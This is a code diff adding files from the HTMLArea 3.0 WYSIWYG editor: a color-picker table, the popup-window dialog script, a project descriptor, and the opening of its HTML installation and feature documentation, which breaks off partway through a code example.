+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#5b84ab onMouseOver=View('5b84ab') onClick=Set('5b84ab') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
--- /dev/null
+// (c) dynarch.com 2003-2004
+// Distributed under the same terms as HTMLArea itself.
+
+function PopupWin(editor, title, handler, initFunction) {
+ this.editor = editor;
+ this.handler = handler;
+ var dlg = window.open("", "__ha_dialog",
+ "toolbar=no,menubar=no,personalbar=no,width=600,height=600,left=20,top=40" +
+ "scrollbars=no,resizable=yes");
+ this.window = dlg;
+ var doc = dlg.document;
+ this.doc = doc;
+ var self = this;
+
+ var base = document.baseURI || document.URL;
+ if (base && base.match(/(.*)\/([^\/]+)/)) {
+ base = RegExp.$1 + "/";
+ }
+ if (typeof _editor_url != "undefined" && !/^\//.test(_editor_url)) {
+ // _editor_url doesn't start with '/' which means it's relative
+ // FIXME: there's a problem here, it could be http:// which
+ // doesn't start with slash but it's not relative either.
+ base += _editor_url;
+ } else
+ base = _editor_url;
+ if (!/\/$/.test(base)) {
+ // base does not end in slash, add it now
+ base += '/';
+ }
+ this.baseURL = base;
+
+ doc.open();
+ var html = "<html><head><title>" + title + "</title>\n";
+ // html += "<base href='" + base + "htmlarea.js' />\n";
+ html += "<style type='text/css'>@import url(" + base + "htmlarea.css);</style></head>\n";
+ html += "<body class='dialog popupwin' id='--HA-body'></body></html>";
+ doc.write(html);
+ doc.close();
+
+ // sometimes I Hate Mozilla... ;-(
+ function init2() {
+ var body = doc.body;
+ if (!body) {
+ setTimeout(init2, 25);
+ return false;
+ }
+ dlg.title = title;
+ doc.documentElement.style.padding = "0px";
+ doc.documentElement.style.margin = "0px";
+ var content = doc.createElement("div");
+ content.className = "content";
+ self.content = content;
+ body.appendChild(content);
+ self.element = body;
+ initFunction(self);
+ dlg.focus();
+ };
+ init2();
+};
+
+PopupWin.prototype.callHandler = function() {
+ var tags = ["input", "textarea", "select"];
+ var params = new Object();
+ for (var ti in tags) {
+ var tag = tags[ti];
+ var els = this.content.getElementsByTagName(tag);
+ for (var j = 0; j < els.length; ++j) {
+ var el = els[j];
+ var val = el.value;
+ if (el.tagName.toLowerCase() == "input") {
+ if (el.type == "checkbox") {
+ val = el.checked;
+ }
+ }
+ params[el.name] = val;
+ }
+ }
+ this.handler(this, params);
+ return false;
+};
+
+PopupWin.prototype.close = function() {
+ this.window.close();
+};
+
+PopupWin.prototype.addButtons = function() {
+ var self = this;
+ var div = this.doc.createElement("div");
+ this.content.appendChild(div);
+ div.className = "buttons";
+ for (var i = 0; i < arguments.length; ++i) {
+ var btn = arguments[i];
+ var button = this.doc.createElement("button");
+ div.appendChild(button);
+ button.innerHTML = HTMLArea.I18N.buttons[btn];
+ switch (btn) {
+ case "ok":
+ button.onclick = function() {
+ self.callHandler();
+ self.close();
+ return false;
+ };
+ break;
+ case "cancel":
+ button.onclick = function() {
+ self.close();
+ return false;
+ };
+ break;
+ }
+ }
+};
+
+PopupWin.prototype.showAtElement = function() {
+ var self = this;
+ // Mozilla needs some time to realize what's goin' on..
+ setTimeout(function() {
+ var w = self.content.offsetWidth + 4;
+ var h = self.content.offsetHeight + 4;
+ // size to content -- that's fuckin' buggy in all fuckin' browsers!!!
+ // so that we set a larger size for the dialog window and then center
+ // the element inside... phuck!
+
+ // center...
+ var el = self.content;
+ var s = el.style;
+ // s.width = el.offsetWidth + "px";
+ // s.height = el.offsetHeight + "px";
+ s.position = "absolute";
+ s.left = (w - el.offsetWidth) / 2 + "px";
+ s.top = (h - el.offsetHeight) / 2 + "px";
+ if (HTMLArea.is_gecko) {
+ self.window.innerWidth = w;
+ self.window.innerHeight = h;
+ } else {
+ self.window.resizeTo(w + 8, h + 35);
+ }
+ }, 25);
+};
--- /dev/null
+<project title="HTMLArea">
+ <version>3.0</version>
+ <release>rc1</release>
+</project>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html> <head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>HTMLArea-3.0 Reference</title>
+
+<style type="text/css">
+ @import url(htmlarea.css);
+ body { font: 14px verdana,sans-serif; background: #fff; color: #000; }
+ h1, h2 { font-family:tahoma,sans-serif; }
+ h1 { border-bottom: 2px solid #000; }
+ h2 { border-bottom: 1px solid #aaa; }
+ h3, h4 { margin-bottom: 0px; font-family: Georgia,serif; font-style: italic; }
+ h4 { font-size: 90%; margin-left: 1em; }
+ acronym { border-bottom: 1px dotted #063; color: #063; }
+ p { margin-left: 2em; margin-top: 0.3em; }
+ li p { margin-left: 0px; }
+ .abstract { padding: 5px; margin: 0px 10em; font-size: 90%; border: 1px dashed #aaa; background: #eee;}
+ li { margin-left: 2em; }
+ em { color: #042; }
+ a { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ span.browser { font-weight: bold; color: #864; }
+ .fixme { font-size: 20px; font-weight: bold; color: red; background: #fab;
+padding: 5px; text-align: center; }
+ .code {
+ background: #e4efff; padding: 5px; border: 1px dashed #abc; margin-left: 2em; margin-right: 2em;
+ font-family: fixed,"lucidux mono","andale mono","courier new",monospace;
+ }
+ .note, .warning { font-weight: bold; color: #0a0; font-variant: small-caps; }
+ .warning { color: #a00; }
+
+.string {
+ color: #06c;
+} /* font-lock-string-face */
+.comment {
+ color: #840;
+} /* font-lock-comment-face */
+.variable-name {
+ color: #000;
+} /* font-lock-variable-name-face */
+.type {
+ color: #008;
+ font-weight: bold;
+} /* font-lock-type-face */
+.reference {
+ color: #048;
+} /* font-lock-reference-face */
+.preprocessor {
+ color: #808;
+} /* font-lock-preprocessor-face */
+.keyword {
+ color: #00f;
+ font-weight: bold;
+} /* font-lock-keyword-face */
+.function-name {
+ color: #044;
+} /* font-lock-function-name-face */
+.html-tag {
+ font-weight: bold;
+} /* html-tag-face */
+.html-helper-italic {
+ font-style: italic;
+} /* html-helper-italic-face */
+.html-helper-bold {
+ font-weight: bold;
+} /* html-helper-bold-face */
+
+</style>
+
+<script type="text/javascript">
+ _editor_url = './';
+ _editor_lang = 'en';
+</script>
+<script type="text/javascript" src="htmlarea.js"></script>
+<script type="text/javascript" src="dialog.js"></script>
+<script tyle="text/javascript" src="lang/en.js"></script>
+
+</head>
+
+<body onload="HTMLArea.replace('TA')">
+
+
+<h1>HTMLArea-3.0 Documentation</h1>
+
+<div class="abstract" style="color: red; font-weight: bold">
+
+ This documentation contains valid information, but is outdated in the
+ terms that it does not covers all the features of HTMLArea. A new
+ documentation project will be started, based on LaTeX.
+
+</div>
+
+
+<h2>Introduction</h2>
+
+<h3>What is HTMLArea?</h3>
+
+<p>HTMLArea is a free <acronym title="What You See Is What You Get"
+>WYSIWYG</acronym> editor replacement for <code><textarea></code>
+fields. By adding a few simple lines of JavaScript code to your web page
+you can replace a regular textarea with a rich text editor that lets your
+users do the following:</p>
+
+<ul>
+ <li>Format text to be bold, italicized, or underlined.</li>
+ <li>Change the face, size, style and color.</li>
+ <li>Left, center, or right-justify paragraphs.</li>
+ <li>Make bulleted or numbered lists.</li>
+ <li>Indent or un-indent paragraphs.</li>
+ <li>Insert a horizontal line.</li>
+ <li>Insert hyperlinks and images.</li>
+ <li>View the raw HTML source of what they're editing.</li>
+ <li>and much more...</li>
+</ul>
+
+<p>Some of the interesting features of HTMLArea that set's it apart from
+other web based WYSIWYG editors are as follows:</p>
+
+<ul>
+ <li>It's lightweight, fast loading and can transform a regular textarea
+ into a rich-text editor with a single line of JavaScript.</li>
+ <li>Generates clean, valid HTML.</li>
+ <li>It degrades gracefully to older or non-supported browsers
+ (they get the original textarea field).</li>
+ <li>It's free and can be incorporated into any free or commercial
+ program.</li>
+ <li>It works with any server-side languages (ASP, PHP, Perl, Java,
+ etc).</li>
+ <li>It's written in JavaScript and can be easily viewed, modified or
+ extended.</li>
+ <li>It remembers entered content when a user navigates away and then hits
+ "back" in their browser.</li>
+ <li>Since it replaces existing textareas it doesn't require a lot of code
+ to add it to your pages (just one line).</li>
+ <li>Did we mention it was free? ;-)</li>
+</ul>
+
+<h3>Is it really free? What's the catch?</h3>
+
+<p>Yes! It's really free. You can use it, modify it, distribute it with your
+software, or do just about anything you like with it.</p>
+
+<h3>What are the browser requirements?</h3>
+
+<p>HTMLArea requires <span class="browser"><a
+href="http://www.microsoft.com/ie">Internet Explorer</a> >= 5.5</span>
+(Windows only), or <span class="browser"><a
+href="http://mozilla.org">Mozilla</a> >= 1.3-Beta</span> on any platform.
+Any browser based on <a href="http://mozilla.org/newlayout">Gecko</a> will
+also work, provided that Gecko version is at least the one included in
+Mozilla-1.3-Beta (for example, <a
+href="http://galeon.sf.net">Galeon-1.2.8</a>). However, it degrades
+gracefully to other browsers. They will get a regular textarea field
+instead of a WYSIWYG editor.</p>
+
+<h3>Can I see an example of what it looks like?</h3>
+
+<p>Just make sure you're using one of the browsers mentioned above and see
+below.</p>
+
+<form onsubmit="return false;">
+<textarea id="TA" style="width: 100%; height: 15em;">
+<p>Here is some sample text in textarea that's been transformed with <font
+color="#0000CC"><b>HTMLArea</b></font>.<br />
+You can make things <b>bold</b>, <i>italic</i>, <u>underline</u>. You can change the
+<font size="3">size</font> and <b><font color="#0000CC">c</font><font color="#00CC00">o</font><font color="#00CCCC">l</font><font color="#CC0000">o</font><font color="#CC00CC">r</font><font color="#CCCC00">s</font><font color="#CCCCCC">!</font></b>
+And lots more...</p>
+
+<p align="center"><font size="4" color="#ff0000"><b><u>Try HTMLArea
+today!</u></b></font><br /></p>
+</textarea>
+</form>
+
+<h3>Where can I find out more info, download the latest version and talk to
+other HTMLArea users?</h3>
+
+<p>You can find out more about HTMLArea and download the latest version on
+the <a href="http://dynarch.com/htmlarea/">HTMLArea
+homepage</a> and you can talk to other HTMLArea users and post any comments
+or suggestions you have in the <a
+href="http://www.interactivetools.com/iforum/Open_Source_C3/htmlArea_v3.0_-_Alpha_Release_F14/"
+>HTMLArea forum</a>.</p>
+
+<h2>Keyboard shortcuts</h2>
+
+<p>The editor provides the following key combinations:</p>
+
+<ul>
+ <li>CTRL-A -- select all</li>
+ <li>CTRL-B -- bold</li>
+ <li>CTRL-I -- italic</li>
+ <li>CTRL-U -- underline</li>
+ <li>CTRL-S -- strikethrough</li>
+ <li>CTRL-L -- justify left</li>
+ <li>CTRL-E -- justify center</li>
+ <li>CTRL-R -- justify right</li>
+ <li>CTRL-J -- justify full</li>
+ <li>CTRL-1 .. CTRL-6 -- headings (<h1> .. <h6>)</li>
+ <li>CTRL-0 (zero) -- clean content pasted from Word</li>
+</ul>
+
+<h2>Installation</h2>
+
+<h3>How do I add HTMLArea to my web page?</h3>
+
+<p>It's easy. First you need to upload HTMLArea files to your website.
+Just follow these steps.</p>
+
+<ol>
+ <li>Download the latest version from the <a
+ href="http://www.interactivetools.com/products/htmlarea/">htmlArea
+ homepage</a>.</li>
+ <li>Unzip the files onto your local computer (making sure to maintain the
+ directory structure contained in the zip).</li>
+ <li>Create a new folder on your website called /htmlarea/ (make sure it's
+ NOT inside the cgi-bin).</li>
+ <li>Transfer all the HTMLArea files from your local computer into the
+ /htmlarea/ folder on your website.</li>
+ <li>Open the example page /htmlarea/examples/core.html with your browser to make
+ sure everything works.</li>
+</ol>
+
+<p>Once htmlArea is on your website all you need to do is add some
+JavaScript to any pages that you want to add WYSIWYG editors to. Here's how
+to do that.</p>
+
+<ol>
+
+ <li>Define some global variables. "_editor_url" has to be the absolute
+ URL where HTMLArea resides within your
+ website; as we discussed, this would be “/htmlarea/”. "_editor_lang" must
+ be the language code in which you want HTMLArea to appear. This defaults
+ to "en" (English); for a list of supported languages, please look into
+ the "lang" subdirectory in the distribution.
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span><span class="function-name">></span>
+ _editor_url = <span class="string">"/htmlarea/"</span>;
+ _editor_lang = <span class="string">"en"</span>;
+<span class="function-name"><</span><span class="html-tag">/script</span><span class="function-name">></span></pre>
+
+ <li>Include the "htmlarea.js" script:
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span> <span class="variable-name">src=</span><span class="string">"/htmlarea/htmlarea.js"</span><span class="function-name">></span><span class="paren-face-match"><</span><span class="html-tag">/script</span><span class="paren-face-match">></span></pre>
+ </li>
+
+ <li><p>If you want to change all your <textarea>-s into
+ HTMLArea-s then you can use the simplest way to create HTMLArea:</p>
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span> <span class="variable-name">defer=</span><span class="string">"1"</span><span class="function-name">></span>
+ HTMLArea.replaceAll<span class="function-name">()</span>;
